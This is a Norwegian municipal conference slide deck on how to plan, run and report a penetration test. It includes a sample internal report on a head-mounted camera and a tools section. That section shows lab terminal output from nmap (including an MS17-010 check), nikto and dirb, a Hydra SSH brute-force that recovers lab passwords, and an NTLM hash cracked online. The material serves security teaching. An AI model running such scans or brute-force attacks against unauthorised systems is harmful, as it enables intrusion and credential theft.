



BÆRUM
KOMMUNE

KiNS Tech 2022



Steffen Diedrichsen | 20.09.2022



Sammen skaper vi fremtiden

MANGFOLD - RAUSHET - BÆREKRAFT

Hvordan planlegge og gjennomføre en penetrasjonstest

+ Tips til verktøy





En typisk penetrasjonstest

1. Scope
2. Kjøreplan
3. Gjennomføring
4. Rapport
5. Oppfølging av funn

1. Scope

Tydelig mål / scope

Hva skal testes og hvorfor

Størst gevinst

Black-box / White-box

Tid

Få tillatelse og gi beskjed

<https://docs.microsoft.com/en-us/azure/security/fundamentals/pen-testing>

"Quickly creating environments is great – but you still need to make sure you perform your normal security due diligence.

One of the things you likely want to do is penetration test the applications you deploy in Azure.

We don't perform penetration testing of your application for you, but we do understand that you want and need to perform testing on your own applications. That's a good thing, because when you enhance the security of your applications you help make the entire Azure ecosystem more secure.

As of June 15, 2017, Microsoft no longer requires pre-approval to conduct a penetration test against Azure resources. This process is only related to Microsoft Azure, and not applicable to any other Microsoft Cloud Service."

While notifying Microsoft of pen testing activities is no longer required customers must still comply with the Microsoft Cloud Unified Penetration Testing Rules of Engagement

Scope

Sikkerhetstesten har sett på hvilke tjenester som kjører på hodekameraet, og hvilken trafikk som går til og fra hodekameraet. Eksterne tjenester, det underliggende operativsystemet (Android), materialvalg, HMS, osv, er ikke en del av omfanget for testen.

Sikkerhetstesten er gjennomført som en black-box test.



2. Kjøreplan

Oppstartsmøte med tjenesteeeier / produkteier / systemeier

Tydelig beskjed om hvorfor man skal teste X

Kontaktpersoner

Når passer det å utføre testen?

Ligg til rette for prosesjon

Varslingsskjema for penetrasjonstest

Tjeneste	
IP / hostname(s)	
Testbrukere	
Tidsrom (fra - til)	

Kontaktperson

Navn	
Epost	
Telefon	
Avdeling	
Testes fra (ip / hostname)	

Kontaktliste

Rolle	Navn	Telefon	Epost	Firma
Utførende tester				Intern
Systemeier				Intern
Databaseadmin				XYZ
Utvikler				ABC

3. Gjennomføre test

Gi beskjed når man starter for dagen

Kritiske funn rapporteres med en gang.

Logg alle operasjoner

Skjermbilder

Gi beskjed når man avslutter for dagen, med en kort status

4. Skrive rapport

Executive summary

Funn (detaljert)

Vedlegg

[UNNTATT OFFENTLIGHET]
§24, 2. og 3. ledd



BÆRUM KOMMUNE

Intern sikkerhetstest

v1.0

Informasjonssikkerhetsavdelingen
28.02.2022

[UNNTATT OFFENTLIGHET]
§24, 2. og 3. ledd

Bestiller	Digitalt sårstell, v/ [REDACTED]
Dato for sikkerhetstest	18.02.2022
Utførende testere	Alexander Fredriksen Trond Sundby Steffen G. Diedrichsen
Forfatter	Steffen G. Diedrichsen
Rapportversjon / Dato	v1.0 / 02.03.2022

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2 Formål

Sikkerhetstesten ble utført på internt initiativ sammen med prosjektet «digitalt sårstell» med formål å avdekke sårbarheter og svakheter i hodekameraet fra [REDACTED] som bl.a er tiltenkt benyttet til sårstell og fjerndiagnostisering.

Følgende beskrivelse av hodekameraet er hentet fra produsentens egen brukermanual:

«HMT stands for Head Mounted Tablet. The [REDACTED] hands-free Android™ tablet class wearable computer for industrial workers. The [REDACTED] provides the foundation for Connected Worker programs.

Use it in wet, dusty, hot, dangerous and loud industrial environments. A fully rugged head-mounted device, it optionally snaps into safety helmets or attaches to bump caps and can be used with safety glasses or corrective eyewear.

The high-resolution micro display fits just below your line of sight and views like a 7" tablet. It's an industrial dashboard: there when you need it and out of your way when you don't.

The [REDACTED] works with powerful software applications from our solution partners in four core categories, each optimized for completely hands-free voice control. That means no scrolling, swiping, or tapping - just simple voice commands.

Use it for remote mentor video calling, document navigation, guided workflow, mobile forms and industrial IoT data visualization.»

3 Oppsummering

En gjennomgang av [REDACTED] viser overordnet god sikkerhet, men med et par punkter som er verdt å merke seg.

Teknisk sett kan hodekameraet ansees som en Android tablet, og med dette følger en god innebygget sikkerhet og tilknytning til et økosystem med jevnlige sikkerhetsoppdateringer, men testen avdekket at hodekameraet ikke har installert de nyeste sikkerhetsoppdateringene.

Trafikkanalyse viser at all kommunikasjon til og fra hodekameraet går kryptert, men grunnet krypteringen har det ikke lett seg gjøre å inspirere innholdet i dataene som sendes til eksterne tjenere. Videre analyse av trafikkmengde og metadata viser at videostrømming går til servere plassert i USA (østkysten) med de tilhørende personvernmessige konsekvensene dette kan få.

Det var ikke mulig å bryte trafikken og angi seg selv som mellommann for å se innholdet i den krypterte trafikken. Hodekameraet aksepterte ikke falske eller selvutstedte sertifikater.

Oppsummert er funnene kategorisert som følger:

Kritisk	Høy	Medium	Lav	Informasjon
0	0	1	1	3

3.1 Anbefalinger

- Bytt datasenterlokasjon til Norge
- Installer de nyeste sikkerhetsoppdateringene.
- Beskytt QR-koder for uautorisert avlesing
- Benytt tjenester i EU/Norge der mulig.

3.2 Forbehold

I en sikkerhetstest er det ikke sikkert man klarer å avdekke alle sårbarheter i løsningen gitt den tiden, og de verktøyene, man har til rådighet. Denne sikkerhetstesten viser de sårbarhetene man rakk å avdekke med de verktøyene og den kompetansen man hadde på test-tidspunktet gitt tidsrommet.

4 Scope

Sikkerhetstesten har sett på hvilke tjenester som kjører på hodekameraet, og hvilken trafikk som går til og fra hodekameraet. Eksterne tjenester, det underliggende operativsystemet (Android), materialvalg, HMS, osv, er ikke en del av omfanget for testen.

Sikkerhetstesten er gjennomført som en black-box test.

5 Funn

Trafikkanalyse av hodekameraet viser at trafikken hovedsakelig går til USA med ett unntak, en tidsserver i Norge.

All kommunikasjon går kryptert, med unntaket av en initiell nettverks-forbindelses-sjekk. Dette er standard oppførsel i Android og således ikke et funn.

Under bruk var det ingen åpne porter / eksponerte tjenester kjørende på hodekameraet.

Hodekameraet gjorde navneoppslag mot Google analytics under bruk, det er uvisst om dette var initiert av det underliggende operativsystemet eller programvare tilknyttet hodekameraets funksjon. Uansett er dette verdt å merke seg da vi per nå ikke vet hvilken informasjon som oversendes for analyseformål, og i verste fall vil hodekameraet kunne avsløre geolokasjon for behandling som igjen kan føre til brudd på personvernet til de involverte partene, både behandler og pasient.

Følgende tabell viser trafikken til og fra hodekameraet under førstegangs oppstart og opptak av video:

Adresse	Pakker	Bytes	Organisasjon	Land	Protokoll
52.239.222.100	248,213	234 M	Microsoft	USA	TLS
104.22.5.184	547	156 k	Cloudflare	USA	TLS
104.22.4.184	390	110 k	Cloudflare	USA	TLS
20.49.109.129	135	33 k	Microsoft	USA	TLS
34.209.7.15	52	27 k	Amazon	USA	TLS
172.67.36.175	76	10 k	Cloudflare	USA	TLS
40.70.161.102	27	9037	Microsoft	USA	TLS
143.204.51.81	27	8617	Amazon	USA	TLS
142.250.74.4	22	7445	Google	USA	TLS
142.250.74.35	10	1005	Google	USA	HTTP
132.163.96.2	4	360	NIST	USA	NTP
170.72.231.161	3	342	Cisco Webex	USA	TLS
52.42.72.58	2	180	Amazon	USA	NTP
185.41.243.43	2	180	Viddy Networks	NORGE	NTP

5.1 Oppsummering av funn

Ref	Funn	Kritikalitet
5.2	Videostrømming til Azure (USA Øst)	Medium
5.3	Navneoppslag og trafikk mot Amerikanske tjenester	Lav
5.4	Manglende sikkerhetsoppdateringer	Informasjon
5.5	Konfigurasjon av trådløst nett	Informasjon

5.2 Videostrømming til Azure (USA Øst) [MEDIUM]


Datadump av trafikken under bruk viser at video-opptak strømmes direkte til Microsoft Azure, region US East 2.

Av ytelses- og personvernensyn anbefales det at trafikken heller strømmes til et datasenter plassert i EU, fortrinnsvis i Norge.

De to påfølgende bilde-utklipp er hentet fra ServiceTags_Public_20220221.json

5.3 Navneoppslag og trafikk mot Amerikanske tjenester [LAV]

Trafikkanalyse viser navneoppslag og mindre mengde trafikk mot Amerikanske tjenester. Noen av oppslagene kommer fra det underliggende operativsystemet (Android), og noen er initiert av programvare på hodekameraet (oppslag mot Jodapro og Realwear). Grunnet krypteringen er det ikke mulig å se innholdet i trafikken.



5.3.1 Anbefalinger

- Benytt tjenester i EU/Norge der mulig.

5.4 Manglende sikkerhetsoppdateringer [INFORMASJON]

Hodekameraet kjører Android 10.0 med sikkerhetsoppdateringer fra mars 2019 og mangler de nyeste sikkerhetsoppdateringene. Da hodekameraet ikke kjører noen eksponerte tjenester, og er underlagt flåtestyring, anser vi ikke dette som en stor risiko, men vi velger fortsatt å ta det med i rapporten.

I følge manualen skal hodekameraet komme med sikkerhetsoppdateringer fra januar 2021, noe som ikke stemte overens med hodekameraet vi hadde fått utdelt.

5.4.1 Anbefalinger

- Installer de nyeste sikkerhetsoppdateringene.

5.5 Konfigurasjon av trådløst nett [INFORMASJON]

Konfigurasjon av trådløst nettverk gjøres ved å generere en QR-kode som så scannes av hodekameraet.

Denne QR-koden inneholder navn og passord til det trådløse nettverket i klartekst for WEP og WPA, og brukernavn med tilhørende passord i klartekst hvis man benytter EAP. Det anbefales at QR-koder ikke er tilgjengelig for uvedkommende.

Scan this code

On your HMT, go to My Programs > Configuration
then point the camera at this QR code



QR-Code:{ "locale": "en-US", "timezone": "Europe/Oslo", "date": null, "time": null, "wifi": { "ap": "MySSID", "username": "", "password": "MyPassword1", "security": "WPA_PSK", "eap_method": "", "phase2": "", "hidden": false }}

5.5.1 Anbefalinger

- Beskytt QR-koder for uautorisert avlesing

6 Vedlegg

6.1 Metode

Sikkerhetstesting utført av Bærum kommune baserer seg på anerkjente åpne standarder innenfor penetrasjonstesting, som bl.a SANS (www.sans.org), OWASP (www.owasp.org), ISECOM OSSTMM (www.isecom.org) samt egen erfaring og kunnskap.

Egenutviklede programmer og verktøy benyttes for å lage automatiserte hendelser og skript tilpasses angrepssflaten.



Fase 1: Planlegging og scoping, verifisering av mottatt informasjon

Fase 2: Innsamling av informasjon fra åpne kilder, samt gjennomgang av overlevert dokumentasjon

Fase 3: Scanning og kartlegging av tjenester i scope

Fase 4: Manuell verifisering og sårbarhetsanalyse av resultater

Fase 5: Vurdering av kritikalitet og eventuell utnyttelse

Fase 6: Rapportering

6.2 Klassifisering

Bærum kommune benytter følgende klassifisering for å vurdere risikoen ved sårbarheter og funn avdekket ved interne sikkerhetstester. Klassifisering gjøres på skjønn ut fra hva testere vet om applikasjonen og bakenforliggende tjenester.

Klassifiseringene er listet opp nedenfor med tilhørende beskrivelse.

Funn som kategoriseres fra [MEDIUM] t.o.m. [KRITISK] anses som ikke tilfredsstillende i forhold til akseptabel risiko og tiltak må innføres.

[KRITISK]	Sårbarheter som eksponerer applikasjon eller infrastruktur for fullstendig overtakelse med stor risiko for tap av informasjon eller omdømme.
[HØY]	Sårbarheter som muliggjør delvis overtakelse av en løsning med moderat til høy risiko for tap av informasjon eller omdømme.
[MEDIUM]	Sårbarheter som kan utnytte funksjonalitet i et begrenset omfang, og kan medføre noe tap av informasjon eller omdømme.
[LAV]	Sårbarheter som kan forbedres iht ledende praksis eller har liten risiko i seg selv.
[INFO]	Funn som omfatter områder som kan forbedres. Slike funn har ingen risiko, men eksponerer informasjon som kan misbrukes ved større innsamlinger.

6.3 Verktøy

Verktøy	Beskrivelse
Wireshark	Verktøy for opptak og analyse av nettverkstrafikk
Burp Suite	Proxy for sikkerhetstesting og analyse av webtrafikk
Pineapple Tetra	Trådløst aksesspunkt for sikkerhetstesting
Ice 4G ruter	Trådløst nettverk med internettforbindelse
Nmap	Portskanner, brukes for å kartlegge hvilke tjenester som er eksponert


6.4 Referanser

Navn	URL
[REDAKTERT]	[REDAKTERT]
Whois	https://www.whois.com

5. Oppfølging av funn

ID	Tittel	Klassifisering	Hva må utbedres	Ansvarlig	Utførende	Deadline	Kommentarer
5.2	Videostrømming til Azure (USA Øst)	MEDIUM	Flytte tjeneste til datasenter i Norge				
5.3	Navneoppslag og trafikk mot Amerikanske tjenester	LAV	Benytte tjenester i EU/Norge der mulig				
5.4	Manglende sikkerhetsoppdateringer	INFORMASJON	Installer de nyeste sikkerhetsoppdateringene				
5.5	Konfigurasjon av trådløst nett	INFORMASJON	Beskytt QR-koder for uautorisert avlesing				

Tips til verktøy



- Nmap
- Nikto
- Dirb
- Hydra
- SecLists
- Crackstation.net
- John the ripper
- Hashcat
- Wireshark
- Burp
- Nessus
- Metasploit
- Armitage
- Bloodhound
- ADAnonche
- Ping Castle
- LOLbas
- GTFOBins
- Exploit-db.com



“Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing.”

File Edit View Search Terminal Help

└─(kali㉿kali)-[~]

└─\$ nmap -sP 10.0.0.1-100

Starting Nmap 7.92 (https://nmap.org) at 2022-08-23 04:18 EDT

Nmap scan report for _gateway (10.0.0.1)

Host is up (0.043s latency).

Nmap scan report for 10.0.0.5

Host is up (0.00066s latency).

Nmap scan report for 10.0.0.15

Host is up (0.00034s latency).

Nmap scan report for 10.0.0.16

Host is up (0.00038s latency).

Nmap scan report for 10.0.0.22

Host is up (0.00066s latency).

Nmap scan report for 10.0.0.23

Host is up (0.00064s latency).

Nmap done: 100 IP addresses (6 hosts up) scanned in 1.88 seconds

└─(kali㉿kali)-[~]

└─\$ █

File Edit View Search Terminal Help

```
└$ nmap -p- 10.0.0.16
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-23 04:09 EDT
Nmap scan report for 10.0.0.16
Host is up (0.00069s latency).
Not shown: 65529 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
443/tcp   open  https
12320/tcp open  unknown
12321/tcp open  warehouse-sss
12322/tcp open  warehouse

Nmap done: 1 IP address (1 host up) scanned in 104.25 seconds
```

```
└(kali㉿kali)-[~]
└$
```

```
└─(kali㉿kali)-[~]
$ nmap -sC -sV -p 12320,12321 10.0.0.16
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-23 04:13 EDT
Nmap scan report for 10.0.0.16
Host is up (0.00062s latency).

PORT      STATE SERVICE VERSION
12320/tcp open  ssl/http ShellInABox
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=kinsdemo.thk.lab
|   Subject Alternative Name: DNS:kinsdemo.thk.lab, DNS:thk.lab, DNS:kinsdemo
| Not valid before: 2022-08-23T08:02:40
|_Not valid after: 2032-08-23T08:02:40
|_http-title: Shell In A Box
12321/tcp open  ssl/http MiniServ 1.970 (Webmin httpd)
|_ssl-date: TLS randomness does not represent time
|_http-title: Login to Webmin
|_http-server-header: MiniServ/1.970
|_http-trane-info: Problem with XML parsing of /evox/about
| ssl-cert: Subject: commonName=kinsdemo.thk.lab
|   Subject Alternative Name: DNS:kinsdemo.thk.lab, DNS:thk.lab, DNS:kinsdemo
| Not valid before: 2022-08-23T08:02:40
|_Not valid after: 2032-08-23T08:02:40
|_http-robots.txt: 1 disallowed entry
|_/


```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 26.23 seconds

```
└─(kali㉿kali)-[~]
$ 
```

```
(kali㉿kali)-[~]
└─$ nmap -sV --script=smb-vuln-ms17-010.nse -Pn 192.168.122.211
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-19 03:50 EDT
Nmap scan report for win7wks (192.168.122.211)
Host is up (0.00031s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5357/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs: CVE:CVE-2017-0143
|       Risk factor: HIGH
|         A critical remote code execution vulnerability exists in Microsoft SMBv1
|         servers (ms17-010).

| Disclosure date: 2017-03-14
| References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|   https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_  https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.31 seconds

(kali㉿kali)-[~]
└─$
```

Nikto



Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.

File Edit View Search Terminal Help

(kali㉿kali)-[~]

\$ nikto -h http://10.0.0.16

- Nikto v2.1.6

+ Target IP: 10.0.0.16

+ Target Hostname: 10.0.0.16

+ Target Port: 80

+ Start Time: 2022-08-23 04:20:07 (GMT-4)

+ Server: Apache

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ Uncommon header 'x-generator' found, with contents: Drupal 8 (<https://www.drupal.org>)

+ Uncommon header 'x-drupal-cache' found, with contents: HIT

+ Uncommon header 'x-drupal-dynamic-cache' found, with contents: MISS

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Entry '/README.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/search/' in robots.txt returned a non-forbidden or redirect HTTP code (302)

+ Entry '/user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/index.php/filter/tips' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/index.php/search/' in robots.txt returned a non-forbidden or redirect HTTP code (302)

+ Entry '/index.php/user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)


+ Entry '/index.php/user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ Entry '/index.php/user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)

+ "robots.txt" contains 40 entries which should be manually viewed.

+ Allowed HTTP Methods: GET, POST

Dirb



DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analyzing the responses.

```
└─(kali㉿kali)-[~]
└─$ dirb http://10.0.0.16
```

DIRB v2.22
By The Dark Raver

START_TIME: Tue Aug 23 04:26:16 2022
URL_BASE: http://10.0.0.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://10.0.0.16/ ----
+ http://10.0.0.16/admin (CODE:403|SIZE:8547)
+ http://10.0.0.16/Admin (CODE:403|SIZE:8547)
+ http://10.0.0.16/ADMIN (CODE:403|SIZE:8547)
+ http://10.0.0.16/batch (CODE:403|SIZE:8547)
+ http://10.0.0.16/contact (CODE:200|SIZE:13119)
+ http://10.0.0.16/Contact (CODE:200|SIZE:13101)
==> DIRECTORY: http://10.0.0.16/core/
+ http://10.0.0.16/index.php (CODE:200|SIZE:10934)
+ http://10.0.0.16/install.mysql (CODE:403|SIZE:199)
+ http://10.0.0.16/install.pgsql (CODE:403|SIZE:199)
==> DIRECTORY: http://10.0.0.16/modules/
+ http://10.0.0.16/node (CODE:200|SIZE:10914)
==> DIRECTORY: http://10.0.0.16/profiles/
--> Testing: http://10.0.0.16/recovery

Hydra



A very fast network logon cracker which support many different services.

Currently this tool supports the following protocols:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, **FTP**, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, **LDAP**, MEMCACHED, MONGODB, **MS-SQL**, **MYSQL**, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, **RDP**, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, **SMB**, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, **SSH** (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

– <https://github.com/vanhauser-thc/thc-hydra>

File Edit View Search Terminal Help

kali@kali:~

└─(kali㉿kali)-[~]

\$ hydra -L users.txt -P passwords.txt 10.0.0.16 ssh

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-23 05:23:42

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 3500 login tries (l:7/p:500), ~219 tries per task

[DATA] attacking ssh://10.0.0.16:22/

[22][ssh] host: 10.0.0.16 login: bob password: trustno1

[22][ssh] host: 10.0.0.16 login: james password: superman

[STATUS] 1030.00 tries/min, 1030 tries in 00:01h, 2473 to do in 00:03h, 13 active

[STATUS] 529.50 tries/min, 1059 tries in 00:02h, 2444 to do in 00:05h, 13 active

[22][ssh] host: 10.0.0.16 login: alice password: corvette

[STATUS] 395.75 tries/min, 1583 tries in 00:04h, 1920 to do in 00:05h, 13 active

[22][ssh] host: 10.0.0.16 login: eve password: 123123

[22][ssh] host: 10.0.0.16 login: john password: coffee

[STATUS] 318.88 tries/min, 2551 tries in 00:08h, 952 to do in 00:03h, 13 active

[STATUS] 212.92 tries/min, 2768 tries in 00:13h, 735 to do in 00:04h, 13 active

[STATUS] 165.00 tries/min, 2970 tries in 00:18h, 533 to do in 00:04h, 13 active

[22][ssh] host: 10.0.0.16 login: rob password: rush2112

[STATUS] 139.13 tries/min, 3200 tries in 00:23h, 303 to do in 00:03h, 13 active

[STATUS] 121.54 tries/min, 3403 tries in 00:28h, 100 to do in 00:01h, 13 active

[STATUS] 118.93 tries/min, 3449 tries in 00:29h, 54 to do in 00:01h, 13 active

[STATUS] 116.43 tries/min, 3493 tries in 00:30h, 10 to do in 00:01h, 13 active

1 of 1 target successfully completed, 6 valid passwords found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-23 05:54:24

└─(kali㉿kali)-[~]

\$ |

SIKKERHET

Vi bruker akkurat like dårlige passord som før

Qwerty og 123456789 er ikke, og har aldri vært, spesielt sikre passord.



Globalt 2020	Globalt 2021	Norge 2021
123456	123456	123456
123456789	123456789	123456789
picture1	12345	12345
password	qwerty	12345678
12345678	password	passord
111111	12345678	1234
123123	111111	password
12345	123123	1234567
1234567890	1234567890	lol123
senha	1234567	abc123
	qwerty123	123123
	000000	qwerty
	1q2w3e	111111
	aa12345678	1234567890
	abc123	liverpool

<https://github.com/danielmiessler/SecLists>



About SecLists

SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. The goal is to enable a security tester to pull this repository onto a new testing box and have access to every type of list that may be needed.

This project is maintained by [Daniel Miessler](#), [Jason Haddix](#), and [g0tmi1k](#).

CrackStation


Defuse.ca · Twitter

CrackStation ▾ Password Hashing Security ▾ Defuse Security ▾

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

```
1A80DA216BC0DF595CF02B9943ACB647
```



[Crack Hashes](#)

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
1A80DA216BC0DF595CF02B9943ACB647	NTLM	holmestrand

Color Codes: Green: Exact match, Yellow: Partial match, Red: Not found.

[Download CrackStation's Wordlist](#)

How CrackStation Works

CrackStation uses massive pre-computed lookup tables to crack password hashes. These tables store a mapping between the hash of a password, and the correct password for that hash. The hash values are indexed so that it is possible to quickly search the database for a given hash. If the hash is present in the database, the password can be recovered in a fraction of a second. This only works for "unsalted" hashes. For information on password hashing systems that are not vulnerable to pre-computed lookup tables, see our [hashing security page](#).

Passordknekking

John the Ripper

Hashcat

Wireshark



Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help



dns

No.	Time	Source	Destination	Protocol	Length	Info
6	0.353657	172.16.42.211	172.16.42.1	DNS	74	Standard query 0x357c A www.google.com
7	0.355141	172.16.42.211	172.16.42.1	DNS	89	Standard query 0x164d A connectivitycheck.gstatic.com
8	0.393305	172.16.42.1	172.16.42.211	DNS	90	Standard query response 0x357c A www.google.com A 142.250.74.4
9	0.393787	172.16.42.1	172.16.42.211	DNS	105	Standard query response 0x164d A connectivitycheck.gstatic.com A 142.250.74.35
10	0.424533	172.16.42.211	172.16.42.1	DNS	82	Standard query 0xa814 A 2.android.pool.ntp.org
12	0.445827	172.16.42.1	172.16.42.211	DNS	146	
15	0.460347	172.16.42.211	172.16.42.1	DNS	78	
17	0.469019	172.16.42.211	172.16.42.1	DNS	75	
23	0.486667	172.16.42.1	172.16.42.211	DNS	182	
24	0.495758	172.16.42.1	172.16.42.211	DNS	209	
36	0.552615	172.16.42.211	172.16.42.1	DNS	78	
92	1.135134	172.16.42.211	172.16.42.1	DNS	97	
96	1.402881	172.16.42.1	172.16.42.211	DNS	126	
112	2.115038	172.16.42.1	172.16.42.211	DNS	145	
128	2.712892	172.16.42.211	172.16.42.1	DNS	78	
129	2.771910	172.16.42.1	172.16.42.211	DNS	205	
138	3.768949	172.16.42.211	172.16.42.1	DNS	97	
139	3.850819	172.16.42.1	172.16.42.211	DNS	166	
260	19.492063	172.16.42.211	172.16.42.1	DNS	73	
261	19.513771	172.16.42.1	172.16.42.211	DNS	112	
304	24.013187	172.16.42.211	172.16.42.1	DNS	96	
305	24.115053	172.16.42.1	172.16.42.211	DNS	150	
2311...	306.387594	172.16.42.211	172.16.42.1	DNS	78	
2311...	306.423670	172.16.42.1	172.16.42.211	DNS	126	
2493...	630.770944	172.16.42.211	172.16.42.1	DNS	97	
2493...	630.948302	172.16.42.1	172.16.42.211	DNS	166	
2494...	683.941818	172.16.42.211	172.16.42.1	DNS	78	
2494...	684.027377	172.16.42.1	172.16.42.211	DNS	126	
2494...	809.402801	172.16.42.211	172.16.42.1	DNS	77	
2494...	810.279055	172.16.42.1	172.16.42.211	DNS	93	

```
▶ Frame 6: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
▶ Ethernet II, Src: Shanghai_44:4c:87 (30:95:e3:44:4c:87), Dst: OrientPo_a6:b3:63 (00:13:37:a6:b3:63)
▶ Internet Protocol Version 4, Src: 172.16.42.211, Dst: 172.16.42.1
▶ User Datagram Protocol, Src Port: 37232, Dst Port: 53
▼ Domain Name System (query)
  Transaction ID: 0x357c
  ▶ Flags: 0x0100 Standard query
  Questions: 1
  Answer RRs: 0
  Authority RRs: 0
  Additional RRs: 0
  ▶ Queries
    [Response In: 8]

```

0000	00 13 37 a6 b3 d3 30 95 e3 44 4c 87 08 00 45 00	. . 7 . c0 . DL . E .
0010	00 3c 46 3f 40 00 40 11 47 7d ac 10 2a d3 ac 10	<F?@ . @ . G} . * . .
0020	2a 01 91 70 00 35 00 28 fc df 35 7c 01 00 00 01	* . p . 5 . (. 5 . . .
0030	00 00 00 00 00 00 03 77 77 77 06 67 6f 6f 67 6c w ww googl
0040	65 03 63 6f 6d 00 00 01 00 01	e . com

Burp Suite



Burp Suite er et verktøy for penetrasjonstesting av webapplikasjoner. Suiten består av forskjellige verktøy som en proxy-server (Burp Proxy), indeksrobot (Burp Spider), et innbruddsverktøy (Burp Intruder), en sårbarhetsskanner (Burp Scanner) og en HTTP-repeater (Burp Repeater)).

Tasks

[New scan](#) [New live task](#) [Settings](#) [Help](#)

Filter	Running	Paused	Finished	Live task	Scan	Intruder attack	Search...
1. Live passive crawl from Proxy (all traffic)							Edit Delete
Add links. Add item itself, same domain and URLs in suite scope.							71 items added to site map
							64 responses processed
							0 responses queued
2. Live audit from Proxy (all traffic)							Edit Delete View details
Audit checks - passive							Issues: 1 25 36
							0 requests (0 errors)
							View details
3. Intruder attack of https://ctf.kins.no:8008							Edit Delete View details
Sniper attack, simple list.							1 payload position
							188 requests (0 errors)
							View details

Issue activity

[Filter](#) [High](#) [Medium](#) [Low](#) [Info](#) [Certain](#) [Firm](#) [Tentative](#) [Search...](#)

#	Task	Time	Action	Issue type	Host
62	2	14:04:39 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://incoming.telemetry.mozilla.org /submit/t
61	2	14:03:59 22 Aug 2022	Issue found	! Strict transport security not enforced	https://ctf.kins.no:8008 /background
60	2	14:03:59 22 Aug 2022	Issue found	! Strict transport security not enforced	https://ctf.kins.no:8008 /favicon.ico
59	2	14:03:59 22 Aug 2022	Issue found	! Strict transport security not enforced	https://ctf.kins.no:8008 /style.css
58	2	14:03:58 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://ctf.kins.no:8008 /
57	2	14:03:58 22 Aug 2022	Issue found	i Frameable response (potential Clickjacking)	https://ctf.kins.no:8008 /
56	2	14:03:58 22 Aug 2022	Issue found	! Strict transport security not enforced	https://ctf.kins.no:8008 /
55	2	14:03:51 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://ctf.kins.no /themes/
54	2	14:03:51 22 Aug 2022	Issue found	i Cacheable HTTPS response	https://ctf.kins.no /themes/
53	2	14:03:51 22 Aug 2022	Issue found	i Frameable response (potential Clickjacking)	https://ctf.kins.no /events
